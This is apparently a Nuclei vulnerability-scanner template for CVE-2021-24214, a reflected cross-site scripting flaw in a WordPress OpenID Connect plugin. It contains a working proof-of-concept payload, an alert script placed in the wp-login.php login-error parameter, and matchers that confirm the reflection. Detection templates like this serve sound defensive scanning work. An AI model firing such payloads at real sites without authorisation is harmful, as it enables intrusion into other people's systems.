id: CVE-2021-24214

info:
  name: WordPress OpenID Connect Generic Client 3.8.0-3.8.1 - Cross-Site Scripting
  author: tess
  severity: medium
  description: WordPress OpenID Connect Generic Client plugin 3.8.0 and 3.8.1 contains a cross-site scripting vulnerability. It does not sanitize the login error when output back in the login form, thereby not requiring authentication, which can be exploited with the default configuration.
  remediation: |
    Update to the latest version of the WordPress OpenID Connect Generic Client plugin (3.8.2) to fix this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/31cf0dfb-4025-4898-a5f4-fc7115565a10
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24214
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24214
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24214
    cwe-id: CWE-79
    epss-score: 0.00369
    epss-percentile: 0.695
    cpe: cpe:2.3:a:daggerhartlab:openid_connect_generic_client:3.8.0:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: daggerhartlab
    product: openid_connect_generic_client
    framework: wordpress
  tags: wpscan,cve,cve2021,wordpress,xss,wp-plugin,wp,openid

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-login.php?login-error=<script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'ERROR (<script>alert(document.domain)</script>):'
          - 'Login with OpenID Connect'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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